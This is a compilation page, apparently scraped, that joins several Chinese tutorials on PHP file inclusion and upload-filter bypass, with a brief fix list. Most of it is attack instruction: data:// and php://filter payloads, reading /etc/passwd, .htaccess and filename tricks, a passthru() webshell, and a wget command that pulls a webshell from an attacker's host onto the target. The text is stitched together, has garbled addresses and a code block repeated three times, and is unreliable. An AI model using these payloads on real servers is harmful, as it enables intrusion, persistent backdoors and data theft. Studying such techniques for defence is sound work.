//mysql配置⽂件⽂件包含漏洞危害:配合⽂件上传漏洞GetShell可以配置任意脚本代码⽹站源码⽂件以及配置⽂件泄露远程包含GetShell控制整个⽹站甚⾄是服务器⽂件包含漏洞分为本地和远程⽂件包含:本地⽂件包含漏洞利⽤:上传图⽚马,包含图⽚马GetShell读取⽹站源码以及配置⽂件包含⽇志⽂件GetShell本地⽂件包含绕过和利⽤:包含上传图⽚马%00截断路径长度截断读服务器本地⽂件读⽹站源码⽂件包含⽇志⽂件GetShell远程⽂件包含利⽤:修复办法:php中使⽤open_basedir配置限制访问在指定的区域过滤. / |禁⽌服务器远程包含(allow_url_fopen,allow_url_include,off)严格判断包含中的参数是否外部可控,因为⽂件包含漏洞利⽤成功与否的关键点就在于被包含的⽂件是否可以被外部控制路径限制:限制被包含的⽂件只能在某⼀⽂件夹内,⼀定要禁⽌⽬录跳转字符,如:“../"包含⽂件验证:验证被包含的⽂件是否是⽩名单的⼀员;尽量不要使⽤动态包含,可以在需要包含的页⾯固定写好,如include("head.php");。
PHP伪协议与文件包含漏洞1
PHP伪协议与⽂件包含漏洞1 PHP⽂件包含漏洞花样繁多,需配合代码审计。
看能否使⽤这类漏洞时,主要看: (1)代码中是否有include(),且参数可控; 如: (2)php.ini设置:确保 allow_url_fopen=1, allow_url_include=1; 确定了使⽤的参数之后,就可以开始⽤伪协议了。
1. data://text/plain 伪协议 可以执⾏任何代码;需要fopen和include全部打开。
⽤法⽰例1:?page=data://text/plain,<?php phpinfo(); ?> ⽤法⽰例2:?page=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg== 注:经过base64编码后的加号和等号最好⼿动将其换成url编码形式,以免识别不了。
( =[%3d]; +[%2b] )2.php://input 伪协议 可以将post请求中的数据作为php代码执⾏;只需要include打开。
⽤法⽰例:(抓包,在get参数后输⼊伪协议,在post区域输⼊php代码。
)3.php://filter 伪协议 读取⽂件源代码;只需要fopen打开;⼀般在知晓⽹站路径的情况下使⽤。
⽤法⽰例:?page=php://filter/read=convert.base64-encode/resource=learn.php 这样,其返回的就是learn.php base64加密后的代码内容。
此处learn.php与漏洞⽂件在同⼀⽬录下;否则,还要写相对路径的。
(我在测试时,稍微改动⼀下这个语句,它的效果就变成执⾏learn.php了;原理和更多⽤法还待探究。
)将参数改为post后,data和php://filter还可使⽤,php://input失效。
PHP网站常见的安全漏洞
PHP网站常见的安全漏洞PHP网站常见的安全漏洞目前PHP网站常见的漏洞有五种,分别是Session文件漏洞、SQL注入漏洞、脚本命令执行漏洞、全局变量漏洞和文件漏洞。
下面为大家简单介绍一些。
1、session文件漏洞Session攻击是黑客最常用到的攻击手段之一。
当一个用户访问某一个网站时,为了免客户每进人一个页面都要输人账号和密码,PHP 设置了Session和Cookie用于方便用户的使用和访向。
2、SQL注入漏洞在进行网站开发的时候,程序员由于对用户输人数据缺乏全面判断或者过滤不严导致服务器执行一些恶意信息,比如用户信息查询等。
黑客可以根据恶意程序返回的结果获取相应的信息。
这就是月行胃的SQL注入漏洞。
3、脚本执行漏洞脚本执行漏洞常见的`原因是由于程序员在开发网站时对用户提交的URL参数过滤较少引起的,用户提交的URL可能包含恶意代码导致跨站脚本攻击。
脚本执行漏洞在以前的PHP网站中经常存在,但是随着PHP版本的升级,这些间题已经减少或者不存在了。
4、全局变量漏洞PHP中的变量在使用的时候不像其他开发语言那样需要事先声明,PHP中的变量可以不经声明就直接使用,使用的时候系统自动创建,而且也不需要对变量类型进行说明,系统会自动根据上下文环境自动确定变量类型。
这种方式可以大大减少程序员编程中出错的概率,使用起来非常的方便。
5、文件漏洞文件漏洞通常是由于网站开发者在进行网站设计时对外部提供的数据缺乏充分的过滤导致黑客利用其中的漏洞在Web进程上执行相应的命令。
假如在lsm.php中包含这样一段代码:include($b.”/aaa.php”.),这对黑客来说,可以通过变量$b来实现远程攻击,可以是黑客自已的代码,用来实现对网站的攻击。
可以向服务器提交 a.php include=http://lZ7.0.0. 1/b.php,然后执行b.php的指令。
下载全文。
文件上传漏洞详解
⽂件上传漏洞详解介绍⽂件上传漏洞是指由于开发⼈员未对上传的⽂件进⾏严格的验证和过滤,⽽导致的⽤户可以越过其本⾝权限向服务器上传可执⾏的动态脚本⽂件。
这⾥上传的⽂件可以是⽊马,病毒,恶意脚本或者WebShell等。
这种攻击⽅式是最为直接和有效的,“⽂件上传”本⾝没有问题,有问题的是⽂件上传后,服务器怎么处理⽂件。
如果服务器的处理逻辑做的不够安全,则会导致严重的后果。
漏洞产⽣的原因对于上传⽂件的后缀名(扩展名)没有做较为严格的限制对于上传⽂件的MIMETYPE(⽤于描述⽂件的类型的⼀种表述⽅法) 没有做检查权限上没有对于上传的⽂件⽬录设置不可执⾏权限,(尤其是对于shebang类型的⽂件)对于web server,对于上传⽂件或者指定⽬录的⾏为没有做限制漏洞需要的前提条件能上传⽊马上传的⽊马能够被执⾏清楚上传之后的路径上传漏洞点基本流程图⽚是否能正常上传图⽚上传内容是否被感染(内容替换)上传的域名是否是⽬标服务器(如果不是,判断图⽚服务器是否解析 php、asp、aspx、jsp、cfm、shtml等)上传的⽬录是否⽀持解析php、asp、aspx、jsp、pht、phtml等判断⿊⽩名单验证⽂件上传利⽤⽅式1、准备⼀句话⽊马2、上传⾄服务器3、使⽤蚁剑链接webshell4、成功拿到服务器shell⽂件上传校验姿势客户端JavaScript校验(⼀般只校验后缀名)服务端⽂件头content-type字段(image/gif)⽂件内容头校验(GIF89a)后缀名⿊名单校验后缀名⽩名单校验⾃定义正则校验WAF设备校验(根据不同的WAF产品⽽定)⽂件上传绕过姿势客户端绕过可以利⽤burp抓包改包,先上传⼀个jpg类型的⽊马,然后通过burp将其改为asp/php/jsp后缀名即可。
1、jpg⽂件内容写⼊⼀句话⽊马2、更改后缀名,改为php3、上传成功之后,使⽤蚁剑链接webshell服务端绕过⽂件类型绕过通过抓包,将content-type字段改为image/gif⽂件头绕过在⽊马内容基础上再加⼀些⽂件信息⽂件后缀名绕过前提:⿊名单校验⿊名单检测:⼀般有个专门的blacklist⽂件,⾥⾯会包含常见的危险脚本⽂件配合⽂件包含漏洞前提:校验规则只校验当⽂件后缀名为asp/php/jsp的⽂件内容是否为⽊马绕过⽅式:先上传⼀个内容为⽊马的txt后缀⽂件,因为后缀名的关系没有检验内容然后再上传⼀个.php的⽂件,内容为<?php Include("上传的txt⽂件路径");?>,此时,这个php⽂件就会去引⽤txt⽂件的内容,从⽽绕过校验配合操作系统⽂件命名规则上传不符合Windows⽂件命名规则的⽂件名a.asp.a.asp(空格)a.php:1.jpga.php::$DATAa.php::$DATA会被Windows系统⾃动去掉不符合规则符号后⾯的内容CMS、编辑器漏洞CMS漏洞:⽐如说JCMS等存在的漏洞,可以针对不同CMS存在的上传漏洞进⾏绕过编辑器漏洞:⽐如说FCK,ewebeditor等,可以针对编辑器的漏洞进⾏绕过配合其他规则1、0x00截断:基于⼀个组合逻辑漏洞造成的,通常存在于构造上传⽂件路径的时候,路径/uploads/1.php(0x00),⽂件名1.jpg,结合/uploads/1.php(0x00)/1.jpg2、.htaccess上传当前⽬录的.htceecss⽂件,内容为:AddType application/x-http-php.jpg(上传的jpg均以php执⾏)另⼀种写法<FileMatch "shell.jpg">SetHandler application/x-http-php</FileMatch>把.htaccess上传后,且上传成功后,再上传内容为⼀句话的jpg⽂件,会把jpg⽂件解析成php⽂件其余配置问题导致漏洞1、如果在Apache的conf⾥有这样⼀⾏配置AddHandlerphp5-script.php这时只要⽂件名包含.php,即使⽂件名是a.php.jpg也会以php来执⾏2、如果在Apache的conf⾥有这样⼀⾏配置AddType application/x-http-php.jpg即使扩展名是jpg,⼀样能以php来执⾏。
文件包含——本地文件包含和远程文件包含
⽂件包含——本地⽂件包含和远程⽂件包含⽂件包含漏洞的出现及危害⽂件包含漏洞是⼀种最常见的漏洞类型,它会影响依赖于脚本运⾏时的web应⽤程序。
当应⽤程序使⽤攻击者控制的变量构建可执⾏代码的路径时,⽂件包含漏洞会导致攻击者任意控制运⾏时执⾏的⽂件。
如果⼀个⽂件包含这个漏洞,为了⽅便起见,经常在开发阶段就实施。
由于它经常⽤于程序开发阶段,所以这就为后来的攻击埋下了伏笔并导致了各种基于⽂件的攻击。
⽂件包含漏洞主要是程序员把⼀些公⽤的代码写在⼀个单独的⽂件中,然后使⽤其他⽂件进⾏包含调⽤,如果需要包含的⽂件使⽤硬编码,⼀般是不会出现安全问题,但是有时可能不确定需要包含哪些具体⽂件,所以就会采⽤变量的形式来传递需要包含的⽂件,但是在使⽤包含⽂件的过程中,未对包含的变量进⾏检查及过滤,导致外部提交的恶意数据作为变量进⼊到了⽂件包含的过程中,从⽽导致提交的恶意数据被执⾏。
⽂件包含漏洞分为本地⽂件包含(Loacl File Inclusion,LFI)和远程⽂件包含(Remote File Inclusion,RFI)。
这种漏洞貌不惊⼈,却危害很⼤。
通过⽂件包含漏洞,可以读取系统中的敏感⽂件,源代码⽂件等,如密码⽂件,通过对密码⽂件进⾏暴⼒破解。
若破解成功则可获取操作系统的⽤户账户,甚⾄可通过开放的远程连接服务进⾏连接控制。
另外不管是本地⽂件包含还是远程⽂件包含,⽂件包含漏洞还可能导致执⾏任意代码。
本地⽂件包含本地⽂件包含就是通过浏览器包含web服务器上的⽂件,这种漏洞是因为浏览器包含⽂件时没有进⾏严格的过滤允许遍历⽬录的字符注⼊浏览器并执⾏。
⾸先,当值可以直接被控制时,你就会有⼀个⾮常类似的如下的代码⽚段。
<? php $ file = $ _GET ['file']; include ($ file);如果你可以找到上⾯的代码,那么就有⼀个直接包含的$⽂件,你可以控制它。
请注意:该⽂件可以是任何类型,⽆论它是被删除的⽂件类型、图⽚还是任意的内容,都包括在内。
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
PHP文件包含漏洞详解一、什么才是“远程文件包含漏洞”?回答是:服务器通过php的特性(函数)去包含任意文件时,由于要包含的这个文件来源过滤不严,从而可以去包含一个恶意文件,而我们可以构造这个恶意文件来达到邪恶的目的。
涉及到的危险函数:include(),require()和include_once(),require_once()Include:包含并运行指定文件,当包含外部文件发生错误时,系统给出警告,但整个php文件继续执行。
Require:跟include唯一不同的是,当产生错误时候,include下面继续运行而require停止运行了。
Include_once:这个函数跟include函数作用几乎相同,只是他在导入函数之前先检测下该文件是否被导入。
如果已经执行一遍那么就不重复执行了。
Require_once:这个函数跟require的区别跟上面我所讲的include和include_once是一样的。
所以我就不重复了。
php.ini配置文件:allow_url_fopen=off 即不可以包含远程文件。
Php4存在远程&本地,php5仅存在本地包含。
二、为什么要包含文件?程序员写程序的时候,不喜欢干同样的事情,也不喜欢把同样的代码(比如一些公用的函数)写几次,于是就把需要公用的代码写在一个单独的文件里面,比如 share.php,而后在其它文件进行包含调用。
在php里,我们就是使用上面列举的那几个函数来达到这个目的的,它的工作流程:如果你想在 main.php里包含share.php,我将这样写include (“share.php”)就达到目的,然后就可以使用share.php中的函数了,像这个写死需要包含的文件名称的自然没有什么问题,也不会出现漏洞,那么问题到底是出在哪里呢?有的时候可能不能确定需要包含哪个文件,比如先来看下面这个文件index.php的代码:if ($_GET[page]) {include $_GET[page];} else {include “home.php”;}很正常的一段PHP代码,它是怎么运作的呢?上面这段代码的使用格式可能是这样的:/m4r10/php/index.php?page=main.php或者/m4r10/php/index.php?page=downloads.php结合上面代码,简单说下怎么运作的:1.提交上面这个URL,在index.php中就取得这个page的值($_GET[page])。
2.判断$_GET[page]是不是空,若不空(这里是main.php)就用include来包含这个文件。
3.若$_GET[page]空的话就执行else,来include “home.php”这个文件。
三、为什么会产生漏洞?你也许要说,这样很好呀,可以按照URL来动态包含文件,多么方便呀,怎么产生漏洞的呢?问题的答案是:我们不乖巧,我们总喜欢和别人不一样,我们不会按照他的链接来操作,我们可能想自己写想包含(调用)的文件,比如我们会随便的打入下面这个URL:http: // /m4r10/php/index.php?page=hello.php.然后我们的index.php程序就傻傻按照上面我们说得步骤去执行:取 page为hello.php,然后去include(hello.php),这时问题出现了,因为我们并没有hello.php这个文件,所以它 include的时候就会报警告,类似下列信息:Warning: include(hello.php) [function.include]: failed to open stream: No such file or directory in /vhost/wwwroot/php/index.php on line 3Warning: include() [function.include]:Failed opening ‘hello.php’ for inclusion(include_path=‘。
:’) in /vhost/wwwroot/php/index.php on line 3注意上面的那个Warning就是找不到我们指定的hello.php文件,也就是包含不到我们指定路径的文件;而后面的警告是因为前面没有找到指定文件,所以包含的时候就出警告了。
四、如何利用?上面可以看到,问题出现了,那么我们怎么利用这样的漏洞呢,利用方法其实很多,但是实质上都是差不多的,我这里说三个比较常见的利用方法:1.包含读出目标机上其它文件由前面我们可以看到,由于对取得的参数page没有过滤,于是我们可以任意指定目标主机上的其它敏感文件,例如在前面的警告中,我们可以看到暴露的绝对路径(vhost/wwwroot/php/),那么我们就可以多次探测来包含其它文件,比如指定URL为: /m4r10/php/index.php?page=./txt.txt可以读出当前路径下的txt.txt文件,也可以使用……/……/进行目录跳转(在没过滤……/的情况下);也可以直接指定绝对路径,读取敏感的系统文件,比如这个URL:/m4r10/php/index.php?page=/etc/passwd,如果目标主机没有对权限限制的很严格,或者启动Apache的权限比较高,是可以读出这个文件内容的。
否则就会得到一个类似于:open_basedir restriction in effect.的Warning(这里是由于apache的open_basedir中限制了访问目录)。
2.远程文件包含可运行的PHP木马如果目标主机的“allow_url_fopen”是激活的(默认是激活的,没几个人会修改),我们就可以有更大的利用空间,我们可以指定其它 URL上的一个包含PHP代码的webshell来直接运行,比如,我先写一段运行命令的PHP代码,如下保存为cmd.txt(后缀不重要,只要内容为 PHP格式就可以了)。
if (get_magic_quotes_gpc()){$_REQUEST["cmd"]=stripslashes($_REQUEST["cmd"]);} //去掉转义字符(可去掉字符串中的反斜线字符)ini_set(“max_execution_time”,0);//设定针对这个文件的执行时间,0为不限制。
echo “M4R10开始行”; //打印的返回的开始行提示信息passthru($_REQUEST["cmd"]);//运行cmd指定的命令echo “M4R10结束行”; //打印的返回的结束行提示信息>以上这个文件的作用就是接受cmd指定的命令,并调用passthru函数执行,把内容返回在M4R10开始行与M4R10结束行之间。
把这个文件保存到我们主机的服务器上(可以是不支持PHP的主机),只要能通过HTTP访问到就可以了,例如地址如下:/cmd.txt,然后我们就可以在那个漏洞主机上构造如下URL来利用了:/m4r10/php /index.php?page=/cmd.txt?cmd=ls其中cmd后面的就是你需要执行的命令,其它常用的命令(以*UNIX为例)如下:ll 列目录、文件(相当于Windows下dir)pwd 查看当前绝对路径id whoami 查看当前用户wget 下载指定URL的文件等等其它的,你主机去BAIDU找吧,就不列举了。
3.包含一个创建文件的PHP文件(常用)也许有的人认为还是得到目标机上的一个真实的Webshell比较放心,万一哪天人家发现这儿个包含漏洞修补了,我们就不能再远程包含得到上面的那个“ 伪”Webshell了,不是么?可以理解这个心态,我们继续。
得到一个真实的Webshell,我们也说两种常见的方法:1)使用wget之类的命令来下载一个Webshell这个比较简单,也很常用,在上面我们得到的那个伪webshell中,我们可以执行命令,那么我们也可以调用系统中的一个很厉害的角色,wget,这个命令的强大你可以google下,参数一大堆,绝对搞晕你,呵呵,我们不需要那么复杂,我们就使用一个 -O(–output- document=FILE,把文档写到FILE文件中)就可以了,呵呵。
前提是你在按照前面的步骤放一个包含PHP代码的Webshell在一个可以通过HTTP或者FTP等可以访问的地方,比如:/m4r10.txt,这个文件里写的就是Webshell的内容。
然后我们在前面得到的伪 Webshell中执行如下的URL:/m4r10/php/index.php?page= /cmd.txt?cmd=wget/m4r10.txt -O m4r10.php如果当前目录可写,就能得到一个叫做m4r10.php的Webshell了,如果当前目录不可写,还需要想其它的办法。
2)使用文件来创建前面的wget可能会遇到当前目录不能写的情况;或者目标主机禁用了(或者没装)这个命令,我们又需要变通一下了,我们可以结合前面的包含文件漏洞来包含一个创建文件(写文件)的PHP脚本,内容如下:$f=file_get_contents(“/m4r10.txt”); //打开指定路径的文件流$ff=fopen(“。
/upload/m4r10.php”,“a”); //寻找一个可以的目录,创建一个文件fwrite ($ff,$f);//把前面打开的文件流写到创建的文件里fclose($ff);//关闭保存文件?> $f=file_get_contents(“/m4r10.txt”); //打开指定路径的文件流$ff=fopen(“。
/upload/m4r10.php”,“a”); //寻找一个可以的目录,创建一个文件fwrite ($ff,$f);//把前面打开的文件流写到创建的文件里fclose($ff);//关闭保存文件> $f=file_get_contents(“/m4r10.txt”); //打开指定路径的文件流$ff=fopen(“。
/upload/m4r10.php”,“a”); //寻找一个可以的目录,创建一个文件fwrite ($ff,$f);//把前面打开的文件流写到创建的文件里fclose($ff);//关闭保存文件>还是写入我们上面用wget下载的那个php文件,但是我们改进了方法,用PHP脚本来实现,可以使用上面的cmd.php?cmd=ll查找可以写的目录,比如这里的upload,然后把文件创建在这个目录下:。
/upload/m4r10.php.然后就得到我们的Webshell了。